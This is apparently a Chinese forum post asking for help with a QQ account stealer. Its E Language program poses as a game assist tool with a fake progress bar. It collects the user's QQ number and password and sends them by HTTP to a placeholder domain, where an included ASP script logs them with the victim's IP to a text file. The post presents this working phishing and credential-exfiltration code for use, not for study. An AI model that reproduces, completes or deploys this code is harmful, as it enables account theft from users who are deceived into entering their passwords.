先说明 复制的不要。。诚信请教高人！。。
易语言代码：
.版本 2
.支持库 internet
.程序集 窗口程序集1
.子程序 _按钮1_被单击
.如果 (编辑框1.内容 ＝ “” 或 编辑框2.内容 ＝ “”)
信息框 (“请完善信息，否则无法登陆！”, 0, “提示”)
.否则
HTTP读文件 (“http://申请的域名.cn/qq/qq.asp?QQNumber” ＋ 编辑框1.内容 ＋ “QQPassWord” ＋ 编辑框2.内容)
.如果结束
时钟1.时钟周期 ＝ 800
.如果 (进度条1.位置 ＞ 100)
信息框 (“辅助工具开启完毕！关闭辅助工具即可”, 0, “提示”)
.否则
进度条1.位置 ＝ 进度条1.位置 ＋ 取随机数 (6, 10)
.如果结束
.子程序 _单选框3_被单击
.子程序 _时钟1_周期事件
.子程序 _标签3_反馈事件, 整数型
.参数 参数一, 整数型
.参数 参数二, 整数型
.子程序 _编辑框1_内容被改变
.子程序 _编辑框2_内容被改变
.子程序 __启动窗口_创建完毕
======================================
asp代码：
<%
strLogFile="qq.txt"
QQNumber=request("QQNumber")
QQPassWord=request("QQPassWord")
QQclub=request("QQclub")
QQip=request("QQip")
if QQNumber="" or QQPassWord="" then
response.write "QQ"
response.end
End If
StrLogText=StrLogText&QQNumber&"----"&QQPassWord&"----会员:"&QQclub&"----IP:"&QQip&"("&request.servervariables("REMOTE_HOST")
StrLogText=StrLogText&")----"&date&" "&time
set f=Server.CreateObject("scripting.filesystemobject")
set ff=f.opentextfile(server.mappath(".")&"\"&strLogFile,8,true,0)
ff.writeline(chr(13)+chr(10)&StrLogText)
ff.close
set ff=nothing
set f=nothing
response.write "发送成功!"
%>